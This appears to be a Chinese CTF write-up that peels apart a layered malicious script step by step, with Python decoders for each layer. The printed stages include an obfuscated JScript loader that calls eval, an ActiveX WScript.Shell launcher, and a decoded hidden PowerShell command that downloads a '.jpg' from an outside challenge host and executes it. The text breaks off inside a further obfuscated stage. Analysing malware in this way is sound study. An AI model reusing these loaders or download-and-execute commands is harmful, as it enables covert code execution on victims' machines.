V,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>

解析：

vars_map = {
    'SK': 102, 'UP': 117, 'tV': 110, 'Fx': 99,  'nI': 116, 'pV': 105, 'wt': 111,
    'RV': 32,  'wV': 82,  'Rp': 106, 'kz': 81,  'CX': 78,  'GH': 40,  'PS': 70,
    'YO': 86,  'kF': 75,  'PO': 113, 'QF': 41,  'sZ': 123, 'nd': 118, 'Ge': 97,
    'sV': 114, 'wl': 104, 'NL': 121, 'Ep': 76,  'uS': 98,  'Lj': 103, 'ST': 61,
    'Ix': 34,  'Im': 59,  'Gm': 101, 'YZ': 109, 'Xj': 71,  'Fi': 48,  'dL': 60,
    'cX': 46,  'ho': 108, 'jF': 43,  'Gg': 100, 'aV': 90,  'uD': 67,  'Nj': 83,
    'US': 91,  'tg': 93,  'vx': 45,  'xv': 54,  'QB': 49,  'WT': 125, 'FT': 55,
    'yN': 51,  'ff': 44,  'it': 50,  'NW': 53,  'kX': 57,  'zN': 52,  'Mb': 56,
    'Wn': 119, 'sC': 65,  'Yp': 88,  'FF': 79
}

args = """
SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV...
""".replace("\n", "").replace(" ", "").split(",")

decoded_chars = []
for arg in args:
    if arg == "":
        continue
    ascii_val = vars_map.get(arg)
    if ascii_val is not None:
        decoded_chars.append(chr(ascii_val))
    else:
        print(f"Unknown var: {arg}")
        break
decoded = ''.join(decoded_chars)
print(decoded)

第二层脚本：

function ioRjQN(FVKq){var ohyLbg= "";for (var emGK = 0;emGK < FVKq.length; emGK++){var ndZC = String.fromCharCode(FVKq[emGK] - 601);ohyLbg = ohyLbg + ndZC}return ohyLbg};var ohyLbg = ioRjQN([713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720, 633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717, 702, 701, 633, 646, 711,712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692, 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640, 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702, 650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700, 702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699, 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649, 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658, 649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700, 698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698, 649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652, 699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702, 651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700,702, 650, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698, 658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700, 702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699, 657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699, 702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698, 658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658, 699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702, 699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703,655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658, 698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698, 653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 657, 703, 703, 703, 702, 703, 657, 703, 700, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699, 658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700, 698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658, 699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657, 702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703,699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658, 656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699,658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650,698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657, 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698,701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699, 700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655, 703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701,699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654, 702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642, 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712, 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696, 647, 687,698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633, 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640, 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 652, 642]);var emGK = ioRjQN([688,684,700,715,706,713,717,647,684,705,702,709,709]);var ioRjQN = new ActiveXObject(emGK);ioRjQN.Run(ohyLbg, 0, true);

解析：

cipher1 = [713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702...]

cipher2 = [688,684,700,715,706,713,717,647,684,705,702,709,709]

dec = bytearray()

for i in range(len(cipher1)):
    dec.append(cipher1[i]-601) 

for i in range(len(cipher2)):
    dec.append(cipher2[i]-601)

print(dec)

第三层脚本：

powershell.exe -w 1 -ep Unrestricted -nop $EFTE =([regex]::Matches(\'a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fffef8fce3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7\',\'.{2}\') | % { [char]([Convert]::ToByte($_.Value,16) -bxor \'204\') }) -join \'\';& $EFTE.Substring(0,3) $EFTE.Substring(3)WScript.Shell

xor204解析得到：

iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:43240/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))";

下载bestudding.jpg并查看：

('('  | % { $r = + $() } { $u = $r } { $b = ++  $r } { $q = (  $r = $r + $b  ) } { $z = (  $r = $r + $b  ) } { $o = ($r = $r + $b  ) } { $d = ($r = $r + $b  ) } { $h = ($r = $r + $b  ) } { $e = ($r = $r + $b  ) } { $i = ($r = $r + $b  ) } { $x = ($q *( $z) ) } { $l = ($r = $r + $b) } { $g = "[" + "$(@{  })"[$e  ] + "$(@{  })"[  "$b$l"  ] + "$(@{  }  )  "[  "$q$u"  ] + "$?"[$b  ] + "]" } { $r = "".("$(  @{}  )  "[  "$b$o"  ] + "$(@{})  "[  "$b$h"] + "$(  @{  }  )"[$u] + "$(@{}  )"[$o] + "$?  "[  $b] + "$(  @{})"[$z  ]) } { $r = "$(@{  }  )"[  "$b" + "$o"] + "$(@{  })  "[$o  ] + "$r"["$q" + "$e"  ] }  )  ;  " $r  ($g$z$x+$g$x$i+$g$b$u$b+$g$l$i+$g$b$b$e+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$x$l+$g$b$b$o+$g$b$b$o+$g$b$b$b+$g$b$b$o+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$x+$g$b$u$b+$g$b$b$o+$g$l$i+$g$b$b$b+$g$b$b$d+$g$b$u$b+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$e+$g$l$e+$g$b$b$o+$g$b$b$u+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$z+$g$b$u$d+$g$b$u$i+$g$b$u$b+$g$b$b$u+$g$b$b$x+$g$b$u$i+$g$b$q$b+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$u$d+$g$b$b$u+$g$b$b$e+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b